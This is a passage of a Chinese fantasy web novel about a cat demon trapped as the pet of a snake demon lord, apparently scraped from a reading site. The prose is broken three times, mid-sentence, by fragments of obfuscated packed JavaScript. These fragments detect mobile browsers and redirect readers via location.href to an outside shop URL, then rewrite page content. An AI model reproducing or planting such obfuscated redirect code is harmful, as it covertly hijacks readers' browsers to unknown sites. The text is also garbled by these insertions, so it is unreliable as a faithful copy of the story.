供她的妖形跳上跳下、每一处落点都设计得极为精妙完美的灵猫大妖专属爬架,更加没有了! 没有了没有了,猫的那些好宝贝统统都没有了! 最最重要也是最最讨厌的一点,变成晏岐的妖宠后,她就得跟晏岐这条臭蛇生活在一起,整日低头不见抬头见的。 是可忍,孰不可忍! 虞窈不死心地再一次尝试运转妖力。 小小一团的猫猫球尾巴绷直,正襟危坐地蹲坐在软垫上,就连脸上的表情、翘起的每一根胡须都在彰显着猫的用力。 半柱香后,在猫坚持不懈的努力下,一缕白金色的妖息终于在猫软乎乎的山竹肉垫下凝聚了起来。 虞窈眼里顿时亮起充满希冀的光芒。 咪的天,成功了! 虞窈刚要高兴得翘尾巴,夸自己是三界里最厉害的小猫。 然而紧接着的下一秒,那一缕极其微弱的妖息便颤颤巍巍地迎风熄灭了。 小白猫也跟着一下子就怔愣住,肉眼可见的。 猫随即低头看向自己空空如也的白手套,不敢置信地虚抓了抓。 山竹肉垫开开合合,然后—— 抓到了一爪子的微风和新鲜空气。 猫也在风里骤然变得凌乱起来:“......” 哦豁QAQ。 不该半场开香槟的。 虞窈筋疲力尽,这回是真的连一丁点妖力都施展不出了。 巴掌大的小白猫摆烂似的往软垫上一倒,四只脚脚绝望朝天,蓬松的大尾巴索性就着这样的姿势盖在了圆滚滚的肚皮上面。 像是风化了的雕塑,一动不动的。 绝望得很安详。 算了,咪累了,让三界毁灭吧。 咪宣布,三界最厉害的小猫,就在两息前陨落了。 - 夕阳渐沉,血红的晚霞染红天际。 其实是一幅很壮观的盛景的,但在看久了之后,却更像是什么风雨欲来的不详征兆。 “方才在大殿上,你二人可看清楚了?”昏暗森然的寝殿里,蛇尾上暗绿色的鳞片在烛火的映照下泛着幽幽碧光。 男人姿态慵懒地侧倚在床榻边,粗长的暗色蛇身一直衔接至他优越的腰线处。 凌乱的乌发随意地披散在只露出了一小截不起眼的雪白腰身上,与覆着其上的蛇鳞形成了强烈的视觉冲击。 而日尧和月女则依然是穿披着黑色斗篷的打扮,正单膝齐齐跪在晏岐跟前,低目齐声道。 “回尊上,看清了。” 这事其实还要追溯到前段时间。 在上一次的上古天级秘境里,晏岐不慎负了重伤,经久未愈。 就连鬼草谷谷主迟离来看了,也摇摇头,道只能暂时先用些药丸灵丹温养着。 想要根治,难。 这次之所以如此看重即将现世的鬼市秘境,也是据传千年难得一遇的天级疗伤法宝将在鬼市上售卖,若能得到此法宝,对彻底治愈晏岐的伤大有裨益。 但话又说回来,晏岐好歹也是统率整个妖界的尊主,有着炼虚期修为的强大蛇妖。 就算有伤在身,刚刚在大殿上时,也不可能连一只只有两三个月大的幼猫的突然袭击都反应不及。 之所以在小白猫抓向他的时候不躲不避,也只不过是为了找出玉面狐安插在妖殿里的奸细罢了。 位于妖界西山的玉面狐一党与早年的羽鸟族一样,不愿臣服于晏岐,听晏岐号令。 想要把晏岐从妖界尊主的位置上拽下来一事,已筹谋数年,安插在晏岐身边的奸细也藏得极深,事事滴水不漏。 只不过,再会躲藏的狐狸,也会在不经意间漏出狐狸尾巴来。 方才在妖殿上的变故便是契机。 借着晏岐负伤,这次的鬼市秘境就是一个除掉晏岐的绝佳机会。 只是蛇尊的伤究竟恢复到了何种程度,在妖界里一直都是不成文的秘密,这同样也是能否除掉晏岐的最大变数。 所以刚刚在大殿上时,晏岐才会处心积虑地为身边的奸细演这么一场戏。 为的就是给玉面狐抛一记烟雾弹,假装自己境界大跌,仍旧伤得不轻。 日尧主动开口:“尊上,可要属下暗地里将他处理......” 晏岐抬起上半身,换了个姿势重新慵懒卧下:“不必。” 男人的嗓音一如既往地缱绻靡丽,哪怕语调听着恹恹,也仿佛能够轻易摄取人心。 “本尊留着他还有别的用处,若是这么快就叫他死了,未免有些太过浪费,也太便宜他了。” 日尧:“是,属下明白。” 晏岐:“话说回来,你二人将那猫送回偏殿的这一路上,那猫可有表现出其他什么异样?” 许是没有想到尊上会突然关心起那只自送到身边后、就不曾多看过一眼的小白猫,月女和日尧对视了一眼,然后才如实回答道。 “那只狸奴的行为大体都很正常,只不过在出大殿后,她突然用爪子勾住了渔流的衣袖,又在殿外小闹了一出。” 日尧接话道:“不过属下认为,她应是闻到了渔流身上属于鱼族的气息,天性使然罢了。” “噢?是么。”闻言,晏岐若有所思地掀起睫羽,淡声道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004143|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“巴掌大的一只猫儿,竟妄图将有着元婴后期修为的鱼妖作为食物不成?” “本尊是该说她蠢笨得不知天高地厚,还是该夸奖她与抓挠本尊那时一样,勇气可嘉呢?” 经晏岐这么一点明,日尧也迅速意识到了不妥之处:“尊上,这......” 少年的脸色跟着变得难看起来。 他蓦地攥紧手掌,唇角微抿,俨然是动了杀心。 “罢了。”晏岐撑起身子,懒倦打断了日尧的话。 男人以手支颐,垂在地毯上的蛇身缓慢地来回游动着:“除了这件事以外,还有别的不寻常之处么?” 月女回想片刻:“禀尊上,属下把她送入偏殿后,她先是在偏殿里转悠了一圈。” 就像是一头雌狮巡视着自己的领地。 说到这里,月女顿了顿,忽而面露迟疑:“然后......” 晏岐看向她:“然后?” “然后,她主动跳上了安置在殿内的爬架,”月女硬着头皮,继续说道,“......用、用脑袋蹭了一下属下的手背。” 话落,整个寝殿霎时都安静了下来,气氛变得尤为诡异。 月女察觉到有一道极其冰冷森然的视线落在了自己身上,叫她如芒在背,却也不敢抬头去看晏岐此时的表情。 只得将头垂得更低。 不知过去多久,寝殿里才响起晏岐意味不明的一声幽幽轻呵:“是么。” “真不愧是本尊养的爱宠,在人前那般抓挠本尊,人后却这般亲近本尊的暗卫,当真是有趣。” 晏岐的语调一如既往地平静和缓,月女闻言却毫不犹豫地立即双膝跪地,就连额头也紧紧伏在了柔软的地毯上面。 少女明显紧张了起来,声音不复平日的活泼俏皮:“月女知错,还望尊上恕罪。” 旁边的日尧也没想到,自己没有踏足的偏殿里,居然还发生了这么一出。 难怪月女从殿里出来的时候,要那么着急反常地把自己拉走...... 见状跟着跪下,振声替月女求情:“尊上,这事并非月女本意,如若尊上要因此惩处月女的话,恳请尊上将属下也一并责罚了罢。” 晏岐轻描淡写地低眸看了眼跪在地上的两人,并未言语。 片刻后才从床榻上起身,庞大的蛇尾也在幽绿色的妖息笼罩中逐渐变幻成了人形。 赤裸的双足悄无声息地落在地毯上面,男人一步步走下青石台阶,来到日尧与月女中间,微微俯身,将两人从地上扶了起来。 “罢了,月女。是那猫儿主动亲近的你,你又没做错什么,这么紧张作甚。” 一只没什么用的妖宠而已,他晏岐还不至于因为一只猫而迁怒自己的暗卫。 “叫人去偏殿把那猫儿带过来吧。”说着,晏岐抬起右手,食指与拇指合在一起,漫不经心地摩挲了一下。 ——指腹上仿佛还残留着一两个时辰之前,被猫儿抓出来的血的余温。 “时辰也差不多了。”晏岐转头看向窗外渐沉的红日,淡声说道。 “本尊今日忽然想与本尊的爱宠,共、进、暮、食。” 5. 第五章 偏殿的大门再度被人推开时,虞窈刚舒舒服服地窝在软垫上睡醒一觉。 听见推门的动静,小白猫立马警觉地竖起双耳,睁眼看向了殿门的方向。 见是鱼贯而入的妖仆,为首的那一位还在低声催促身后的小妖。 “动作都麻利些,若是耽误了暮食的时辰,当心你们的皮明日就出现在妖殿的地砖上。” 噢。 虞窈扭头瞥一眼窗外秀美的夕阳余晖。 原来是该吃晚饭了啊。 小白猫刚提到嗓子眼的心,瞬间就放回了肚子里。 只不过,妖界的这群妖怎么都这么喜欢动不动就扒其他妖的皮做地毯? 真是有什么样的尊主就有什么样的小妖,沆瀣一气,全部都被晏岐那条臭蛇给带坏了。 是不是因为蛇这个种族每隔一段时间就要蜕一次皮,所以臭蛇才会对其他妖的皮这么有占有欲? 默默在心里吐槽完,猫便直愣愣地往软垫上一倒,在上面舒坦地打了个滚后,又重新挺起身来,两只爪爪向前舒展,十分慵懒地伸了一个懒腰。 虞窈其实是很想念、很舍不得自己的巫云峰的,她三个月前才请人打好那张天鹅绒的软床送过来,还没来得及怎么享受,就只能搁置在巫云峰里落灰了。 但猫同样也是懂得知足,知道该如何合理地降低自己的底线的猫。 如果退一步不行的话,那猫就再退一步。 踏踏实实地睡醒一觉,猫就领悟到了这个三界真理。 毕竟,拼尽全力却还是只能够施展出一小缕妖息的自己,在短时间内是没可能攒够足够的妖力、变回人形的。 更何况,她是巫云峰的灵猫大王,周围的其他小妖对她是有一定的敬畏之心的。 平日里绝对不会轻易踏足她的竹屋范围,再加上灵猫一族本就神出鬼没、四海为家。 说不定,这辈子都不会有人发现巫云峰的那只大妖离奇消失了。 但再转念一想,其实,能够住在这座偏殿里也没什么不好的嘛。 这里足够安静,平时不会有别的妖来打扰她,她可以安心地慢慢积攒妖力。 偏殿的环境条件虽样样都比不得巫云峰,但睡觉的软垫、玩耍的爬架凑活凑合,也能够将就用用。 最最重要的是,她的吃穿用度花的全部都是晏岐的灵石诶! ——只要她足够努力,说不定就能够在将来的某一天花空妖界的宝库,以报当年晏岐毁她流清湖鱼仓之仇。 这不。 虞窈看向眼前的一众妖仆。 连小猫吃个饭都能整出这么大的阵仗,多有面啊。 总之,别让她瞧见晏岐那条臭蛇就行。 只要不与晏岐见面,那她就是三界最快乐的小猫。 虞窈:嘻嘻。 妖仆弯腰将她抱起,轻手轻脚地放进了一只做工精致的金丝珐琅笼里。 虞窈平时自由快活惯了,不喜欢这样的笼子。 她走到笼门边,抬起毛绒绒的小短腿,粉嫩的肉垫搭在上面,轻轻拨了拨笼门上的铜锁。 然后发出又轻又奶的一声“喵呜”,试图引起妖仆们的注意。 为首的妖仆听见她的叫声,低头看了过来。 只有巴掌大的小狸奴正歪着脑袋,端庄优雅地坐在笼子里,一只软乎乎的小脚还搭在铜锁上面。 那双泛着水光的鸳鸯眼一错不错地望着她,看起来比往日灵动了不少,小眼神瞧着十分礼貌又可怜巴巴。 妖仆的心瞬间就化成了一滩柔水,忍不住想要伸手进笼子里,好摸一摸小白猫那毛绒绒的小脑袋。 但碍于这是尊上的妖宠,妖仆只能无奈按下心底的想法,放柔声音同虞窈说道。 “你乖乖的,不要着急,等到了地方,自然就会把你从里面给放出来了,好不好?” 虞窈这才把肉垫给收了回去。 那好吧。 谁让她是一只很好说话的小猫咪呢。 妖仆们抬着笼子,一路上走得还算平稳,但是没过多久,虞窈就发现了不对劲。 他们这一行妖很快与另外一批端着长方玉盘的妖仆在庭院的长桥桥头相遇。 那些玉盘上摆满了一道又一道色香俱全的菜肴,看得猫垂涎欲滴。 可问题恰恰好就出在这里。 ——她这么小的一只猫儿,真的用得着准备这么多的暮食吗? 长桥的尽头是一座四方凉亭,遥遥望见坐在凉亭里的身影后,虞窈便应激似的猛地在笼子里剧烈挣扎起来。 怎么是跟晏岐一起吃饭!猫不嘻嘻,猫不嘻嘻!! 小白猫忽然毫无征兆地在金丝珐琅笼里上蹿下跳,着实把这些抬着笼子的妖仆们给吓了一大跳。 妖仆们险险稳住笼子的平衡,为首的妖仆下意识看了不远处的凉亭一眼,神色跟着变得紧张。 “小祖宗唷,方才不是还好好的么,突然间这是怎么了?” “尊上就在前边,马上就能够吃上东西了,你安分一些好不好?” 不好!一点都不好! 她是一只很不好说话的小猫咪! 但是没辙,现在的虞窈终究只是一只柔弱无助的小猫咪。 不管小白猫如何在笼子里打滚撒泼,也改变不了金丝珐琅笼很快平稳落地的命运。 只见座上那人着一身锦绣华服,未束的乌发自然而然地从肩头滑落下来,下半身还是那熟悉的蛇形。 而腰间人身与蛇身的衔接处,系着一枚朱红色的玉石吊坠,一看就品质上乘,价值不菲。 至于那条骇人的暗色蛇尾正以一个极慢极不起眼的速度翻滚游动着,蛇身将整个石桌的底部都紧密缠绕了起来,画面瞧着莫名给人一种喘不过气来的窒息感,直叫人胆战心惊。 金丝珐琅笼里的虞窈不满评价:臭蛇,花里胡哨,不修边幅,随地大小变蛇身,红配绿没品味,整天就知道搁这儿吓唬妖。 她啊呸,不要脸的东西! 瞧瞧,为首的那名妖仆不就被吓得“噗通”一声跪在了晏岐面前,身体抖若筛糠,额头贴地。 “禀尊上,仆带人去偏殿接到这狸奴的时候一直都好好的,可不知为何,这狸奴方才突然在笼子里闹腾不止,也不知有没有伤到哪里,还请尊上恕罪。” 本以为自己的一身绵羊皮明天就要变成毯子出现在凉亭石阶上的妖仆高央,却见自家尊上听后只是漫不经心地挥了挥手,示意自己退下去。 咦,不、不用变毯子了? 高央的反应很快,短暂的怔愣过后,便迅速地行了一礼:“仆告退。” 其余妖仆动作麻利地将一道道菜肴摆上石桌,饭菜的清香不多时便飘满了整座凉亭。 晏岐淡声:“把它从笼子里放出来罢。” “是。” 妖仆刚应声打开笼锁,一道白色闪电就以迅雷不及掩耳之势,迅速往笼子外蹿去。 只是还没等虞窈蹿出笼子,就听男人清幽的嗓音不紧不慢地在身后响起。 “就凭你那双小短腿,也想要在本尊的眼皮子底下逃出去?” 自从妖仆们把虞窈送来了这里,晏岐就不曾看过笼子里的小白猫一眼。 这会儿终于看了过来,粗略扫了眼小白猫圆滚滚的身子后,便洞穿了小白猫的心思。 虞窈顿时震怒:他在看!不!起!咪! 不过,凡人有句话说得好,识时务者为俊杰。 识时务猫为猫杰。 回想起一两个时辰前在主殿里的经历,虞窈立时就更改了主意。 算了,她不跑了。 不就是和臭蛇一起吃饭吗? 猫就要留下来吃晏岐命人备好的饭菜,争取有朝一日吃垮这条讨人厌的臭蛇,然后再拍拍屁股潇洒离去。 小白猫状若无事发生地踩着猫步,十分优雅地从笼子里走了出来。 然后三步并作两步,轻盈地跳上了石桌......才怪。 ——这具身体的腿实在是太短太短了,以至于猫才将将起跳到一半,前脚还没来得及碰到石桌的边缘,便不得已紧急“迫降”,险些摔个狗啃泥。 虞窈才刚勉强调整好身形落地,就听从石桌对面的上方传来一声轻呵。 “这般笨拙,可要本尊亲自抱你上来?” 虞窈:不需要!狗就会多管闲事。 灰头土脸的小白猫左脚踩踩右脚,开始进行第二次尝试。 她全神贯注地瞄准了石桌一角,微微下压身体蓄势待发,随即用尽全力往那处猛然蹦去。 这次总算成功着陆,没有再在晏岐跟前丢脸。 跳上石桌后,小白猫便像是回到了自己的家一般,十分自来熟地又开始巡视领地。 桌上的菜肴十分丰富,红烧狮子头、松鼠鳜鱼、八宝圆子、龙井虾仁...... 居然还有虞窈的最爱——大鸡腿。 虞窈顿时双眼放光,刚要目的明确地朝着鸡腿的方向进发。 忽见晏岐抬手,掌心交叠在一起轻拍了拍:“把她的吃食端上来吧。” 咦?什么意思。 这些饭菜难道不是给她准备的吗?那她的吃食又是什么东西? 小白猫疑惑地扭过脑袋,就见一妖仆低垂着首,端着一盘红彤彤、血淋淋,不知是什么兽类的生骨肉走上来,放在了她的旁边。 这盘生骨肉没有经过任何的加工与烹饪,新鲜倒是很新鲜,却散发着一股极其浓郁的血腥味,令已经品鉴过三界美味的猫食欲全无。 小狸奴毛绒绒的小猫脸立马就嫌弃地皱成了小苦瓜。 所以,那些山珍海味全部都是晏岐的,而她的晚饭只有这盘血淋淋的生骨肉? 咪的天塌了。 还是连女娲娘娘都补不回来的那种。 虞窈转头就与晏岐对上视线。 小白猫分明还不会说话,晏岐却从她那张分外灵动的猫猫脸上,读懂了她不能说出口的话语。 你们妖界就给小猫咪吃这东西? “怎么,你不喜欢?”晏岐懒懒撩眸,“之前吃的不就是这些?” 晏岐如今的修为境界已达炼虚,早就没有了口腹之欲。 之所以还愿意花时间与自家妖宠共进暮食,也不过是图个新鲜的体验而已。 自从有妖将小狸奴献给他之后,晏岐总共就只与小白猫一起用过两次膳食。 一次是今天,一次则是刚把小白猫养在身边、作为妖宠那日。 同样的生骨肉。 上一次的小白猫一直蜷缩在碗边瑟瑟发抖,在晏岐觉得无趣至极、不耐起身离开之后,才狼吞虎咽地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004144|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃了些生肉饱腹。 而这一次的小白猫—— 虞窈颇为不满地甩了甩尾巴,连眼神都懒得多施舍给那些生骨肉一眼,嫌弃之意明显。 小猫高高翘起尾巴,趾高气扬地踩着猫步来到了晏岐面前。 气势其实是非常足的。 只是猫的腿实在是太短太短了,以至于就这么点距离,小白猫愣是屁颠屁颠地走了二十来步才抵达。 然后,猫伸出粉嫩嫩的干净肉垫,毫不客气地就把晏岐面前的琉璃玉碗向后扒拉到了他的正对面、离他最远的位置上。 猫紧接着调转过头来,张嘴一口衔住长方玉盘里尚未动过的大鸡腿,径直就叼进了那只玉碗里面,开始理直气壮地享用起自己真正的晚餐。 猫想要,猫得到。 像她这么可爱的猫猫,就是应该吃香喷喷的大鸡腿才对。 至于生骨肉是什么东西,猫不清楚,猫不知道。 虞窈认同点头。 虞窈嚼嚼嚼、啃啃啃。 香香~ 藏匿在暗处的日尧与月女亲眼目睹了这一切:“......” 不对劲,尊上的这只妖宠今天真的很不对劲! 日尧几乎是立马就要暴起现身,去擒住石桌上那只胆大包天、敢对尊上大不敬的小猫咪。 却被月女眼疾手快地一把按住,蹙眉道:“尊上在与小狸奴一道用膳食,好端端的你做什么去?” 日尧手远远指着那只啃鸡腿啃得不知天地为何物的小猫咪,愤愤不平。 “你没看见那猫刚刚干什么了吗,它居然敢抢尊上的东西?我要去扒她的皮!” 月女恨铁不成钢地重重叹了一口气:“所以呢?尊上生气了吗?要你这条大蠢狗跳出去为尊上出风头吗?” 日尧闻言愣住,下意识转头看向了座上那人淡漠矜贵的身影。 身为晏岐养在身边多年的暗卫,日尧早就懂得该如何察言观色,揣摩尊上的心意,做到让尊上舒心。 所以,只要尊上的眉心蹙一下,他就会立马现身,替尊上解决了这只古怪至极的小猫咪。 然而,出乎日尧意料的是,自家尊上的神色居然真的没有什么明显的变化。 他只是以手支颐,姿态懒洋洋地看着不远处那只吃鸡腿吃得不亦乐乎的小小狸奴,唇角甚至还有一抹不明显的笑意一闪而过。 与今天在大殿上时别无二致。 月女没好气地白他一眼:“有这么只特殊的小猫咪给尊上解闷,尊上高兴都还来不及呢,你这条傻狗,什么时候才能变得像我一样聪明?” 听完月女的话,日尧忽然顿悟。 就连月女骂他是“傻狗”这档子事,一时间也抛在脑后,无暇顾及。 在尊上的眼中,无论是在妖界有一席之地的玉面狐狸,还是眼前这只行为古怪反常的小猫咪,都不足以让尊上为之忧心。 对于强大的尊上来说,一件事、一个人,能不能变得有趣才是最为重要的。 所以,哪怕想要弄死玉面狐就跟碾死一只蚂蚁一样容易,也知道了玉面狐安插在自己身边的奸细究竟是谁,尊上依然默许了他们的存在。 巫云峰的那只灵猫同样如此。 尊上座下统率有万千妖兽,又怎么可能会畏惧区区一只千年灵猫? 之所以数十年来百般退让,让那只灵猫过得那般舒坦,恐怕也只是想要看看,那只灵猫究竟还能够玩出哪些花样。 那么,眼前的狸奴自然更不用讲。 即使早早就看出了小白猫的异样,但,一只敢抓挠尊上的脸、把尊上的吃食占为己有的小猫咪,可比一只整日只会瑟瑟发抖、连叫都不敢叫一声的小白猫要有趣多了。 除了灵猫虞窈以外,日尧已经许久不曾见到何人何事能够短暂勾起尊上的兴趣,也许久不曾见尊上这般笑过了。 ——哪怕只是持续了短短一息、带着玩味的笑意。 日尧默然,片刻后主动与月女一道隐去身形,几乎与渐浓的夜色融为了一体。 与此同时,凉亭里。 晏岐好整以暇地看着那只头也没抬、正专心致志地啃着鸡腿的小白猫,脸上并无任何愠色。 他只是慢声说道:“你这般蛮不讲理地就将本尊的东西给抢走了,那本尊又该吃什么?” 虞窈:“?” 不是,你盐津虾吗? 这桌子上除了被她叼走的大鸡腿以外,明明还有这么多道菜肴,你居然跟咪讲你找不到东西吃? 再说了,你这条臭蛇本来就不需要吃东西,这些美味就算给了你也是纯纯糟蹋浪费而已。 虞窈想是这般在想,但她还是停下了啃咬鸡腿的动作,微妙地回头看了一眼晏岐。 被油与肉渣糊在一起的胡须在半空中抖了又抖,那模样看起来着实可爱,又颇有几分滑稽。 在晏岐饶有兴味的目光注视下,虞窈慢吞吞地走到盛着生骨肉的盘子跟前,停顿了两秒。 猫深呼吸了一口气,像在蓄力待发着些什么,就连蓬松的大尾巴也跟着高高翘起。 然后,当着所有妖仆的面,小狸奴十分潇洒地一蹬后脚,那盘血淋淋的生骨肉便“咻“地一下就从石桌上滑行了出去,最终精准停在晏岐面前。 喏。 生骨肉,咪赏你吃。 6. 第六章 暗处里。 日尧:“......” 月女:“......” 日尧瞬间就炸了,二话不说就要变回妖形冲出去。 “这吃了熊心豹子胆的小猫咪怎么敢让尊上吃这种东西?那种生骨肉放在尊上面前都是辱了尊上的眼!不行,我要去跟她拼了!” 月女紧急想要按住他,没成功,只好也跟着变回妖形。 奈何这会儿的日尧就跟一匹脱了缰的野马没什么区别,她使出吃奶的劲还是没能按住。 ——一只三陨边牧就与一只蓝色多瑙河蝶纠缠着,从凉亭旁的撕裂空间里双双滚了出来。 那只多瑙河蝶极为漂亮,也很大一只,蝶翅上的花纹犹如会呼吸一般,颜色会随着频率从天蓝逐渐变成绚丽的蓝紫。 就连洁白的闪带上也发着浅浅的荧光,梦幻至极。 至于与它缠抱在一起的那只三陨边牧相比较下来,就显得不是很聪明了。 花色与瞳色其实都是极好看的,可那过于憨直的眼神、吐露在外面的舌头,却是怎么看怎么傻乎乎。 虞窈曾在人界的一种狗的身上见到过与这条三陨边牧差不多的眼神。 听凡人们说,他们给那种狗取了一个同样不怎么聪明的名字。 名叫哈士奇。 在刚看到多瑙河蝶飞出来的那一瞬间,虞窈的眼睛里曾短暂亮起过兴奋的光芒。 小猫咪的底层逻辑促使着她想要跳下石桌,去追蝴蝶玩。 而且她闻出来了,这只蝴蝶和月女身上散发出来的气息是一模一样的。 虞窈不禁在心里感叹,月女原来是长得这么漂亮的一只小蝴蝶啊。 怪不得人形也那么好看。 但当转头瞥见多瑙河蝶旁边的边牧后,猫就默默将蠢蠢欲动的肉垫给收了回去。 不行,这狗看起来好笨。 也是奇了怪了,今天下午在众妖兽面前时,化作人形的日尧明明看起来那般冷酷又不近人情。 怎么私底下一变回妖形,就直接原形毕露,变得这么不聪明了呢? 要是靠近它的话,她会不会也变得那样傻乎乎? 短暂思忖过后,虞窈决定先专心享用眼前的大鸡腿,之后有机会再找小蝴蝶玩。 而座上的晏岐看着眼前蝶飞狗跳的一蝴蝶一狗,淡漠的神情像是早已经见怪不怪,对此只是微抬了下眼。 像是在说:给个说法。 蝴蝶和狗立马就变回了人形,双双跪在晏岐跟前。 日尧:“父亲,这猫属实过分,日尧只是想替您教训它一下。” 晏岐垂下眼睫,看着台阶下血气方刚的少年。 骨节分明的长指随意搭在扶手上,漫不经心地轻轻点着,尚未言语。 小白猫叼在嘴里、半天只受了点皮外伤的大鸡腿便“啪嗒”一声,重新掉回了碗里面。 巴掌大的小狸奴瞳孔地震,不可置信地抬起了猫猫头,视线在日尧与晏岐之间来回游移。 那震惊至极的眼神像是在说:你们俩居然是......居然是这种关系? 这条臭蛇竟然都能有孩子了? 他也配! 那和日尧年纪相仿的月女岂不也是...... 小白猫的目光才刚落到月女身上,就见少女毫不客气地往日尧的后脑勺处来了一记爆栗。 “都说了让你不要乱叫了,尊上只是我们的义父,还有,尊上的妖宠何时用得着你来教训了?” 神情冷峻的少年很不服气地拧着眉心,大声反驳道:“谁说义父就不是父亲了!” 见眼前的一对少男少女还要争执不休,晏岐闭了闭眼,有些乏累地按揉了揉眉心。 月女用余光注意到这一幕,先行收声,嘴里倒是还小小声地嘀咕着。 “笨狗就是笨狗,我才懒得跟你吵,以免拉低我智商。” 日尧原本还想要再说些什么,就见晏岐站起身来,蛇尾也重新变回了人的双脚:“尊上......” “本尊乏了,”晏岐走出凉亭,只留给众妖一道清薄的背影,“你二人守着它把吃食用完,再送来本尊的寝殿吧。” 闻言,日尧和月女皆是一愣。 尊上不喜活物出现在自己的寝殿里,这是整个妖界都人尽皆知的事情。 因而尊上每晚休息时,从不需要妖仆在旁侍奉。 就连他们这两个最得信任的暗卫,也只有有事要禀、或是尊上传召时才有资格入内。 而就在刚刚,尊上竟然主动要求他们把这只狸奴送进寝殿里去? 日尧立马就蹙眉看向了石桌上的小猫咪。 那眼神仿佛在说:你这只胆大包天的小猫咪,如何修得这么大的福气? 小白猫的表情变化同样十分丰富。 先是在怀疑自己的耳朵,再是“臭蛇你是不是有猫饼”,最后直接炸毛,原地变成了一只小小的蒲公英。 她没听错吧?晏岐要跟她一块儿睡觉? 怎么不干脆直接一尾巴把她给噶了算了。 他不是根本就不在意他的妖宠的么,今晚抽的又是哪门子的风,搁这儿发起癫来了? 小白猫肉眼可见地变得恹恹起来,就连面对眼前香喷喷的大鸡腿,都没有了吃的心情。 感受到来自日尧过于炙热的目光,小白猫没精打采地耷拉着耳朵,很是无语地看了过去。 ......啧,日尧这个铁血保蛇派。 既然你这么想要,那猫把这福气送你行不行? - 不管虞窈内心如何抗拒,被日尧和月女送去晏岐的寝殿,已经成了板上钉钉的事情。 事已至此,先吃饭吧。 抱着迟早要把妖界的金库给吃空的美好憧憬,虞窈化悲愤为力量,宴请四方。 老自两只大鸡腿,老已三个狮子头,猫五枚八宝圆子,小生一小盘松鼠鳜鱼,还不忘自罚一蛊鲜香味美的乌鸡汤。 直到肚皮被撑得圆滚滚,实在是塞不下了才终于作罢。 月女在一旁看得目瞪口呆,怀疑又好奇地把小白猫提溜起来晃了又晃。 很想知道她这么小的一只狸奴,是如何做到把那么多的吃食全部塞进那小小的肚子里的。 虞窈被她晃得有点难受,委屈地小声咪呜咪呜着,同时还伴随着隐隐约约的水声响。 是刚刚喝进肚子里的汤。 小白猫颤颤巍巍地伸出肉垫,想要去拍月女的手示意她停下。 偏偏这具身体的腿实在太短太短,无论虞窈如何在半空中挥舞划动着四肢,也碰不到月女分毫。 快、快别晃啦。猫要吐了,真的要吐了! 月女终于停下。 日尧很是嫌弃地扫了小白猫一眼,没好气地说道:“这么能吃,迟早要变成和柳幸养的那只猫一样。” 他口中的柳幸是二十下卫之一,几年前从人界偶然拐了只猫回来。 是只大橘。 经过柳幸这么些年的悉心喂养,那只橘猫已经从瘦得皮包骨的状态,摇身一变成了一辆实心的半挂卡车,走路地都得抖三抖的那种。 妖界震感明显。 月女忙不迭用手捂住了小白猫的耳朵,重重瞪日尧一眼:“你闭嘴,我们小猫咪可听不得这些。” 瞧见她这幅护犊子的姿态,日尧不满地抱起双臂啧声。 “月女,你胳膊肘这般往外拐,都不知道你究竟是尊上的暗卫,还是这猫儿的暗卫了。” “你少给我扣帽子噢,”月女才不上他当,“我们说的是柳幸的那只猫和小狸奴,什么时候和尊上扯上关系了?” 她虽然是挺喜欢这只小狸奴的,但还不至于到为了维护她,而弃尊上于不顾的地步。 至少,现在暂时还不是这样。 嗯。 蝴蝶肯定jpg. 等虞窈稍微恢复了一点精气神,月女又操控着小蝴蝶群,陪她在庭院里玩了一会儿消食。 然后才和日尧一道,将她送去了晏岐的寝殿。 晏岐这会儿似乎并不在寝殿里,偌大的寝殿内空无一人,只有排排烛火在摇曳晃荡。 日尧和月女显然是打心底敬畏晏岐的。 一蝴蝶一狗来的一路上都在插科打诨,互相拌嘴,到了寝殿后,却都默契地闭上了嘴,不再出声。 把虞窈放下后,两只妖恭恭敬敬地朝着寝殿正前方行了一礼。 虞窈循着他俩行礼的方向看去。 咦,奇怪。 那里也没蛇呀。 再转过头来时,日尧和月女已悄无声息地消失在了原地。 溜得可真快。 虞窈不甚在意地晃晃尾巴,踩着猫步来到了寝殿门口,向前探出肉垫。 不出虞窈所料,毛茸茸的小山竹刚触碰到殿门,门上就有一圈又一圈的波纹荡开,像是淅淅沥沥的小雨落在了湖面上。 是结界。 虞窈认命地收回爪爪,看来,晏岐的寝殿就和这具身体原本住的偏殿一样,猫想要偷偷溜走是不可能的了。 算了,来都来了。 小白猫重新翘起尾巴,梅开三度巡视领地。 晏岐的寝殿很大,到处都铺满了柔软的地毯,踩在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004145|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上面的感觉很舒适,应当是为了方便晏岐的蛇尾随地大小放。 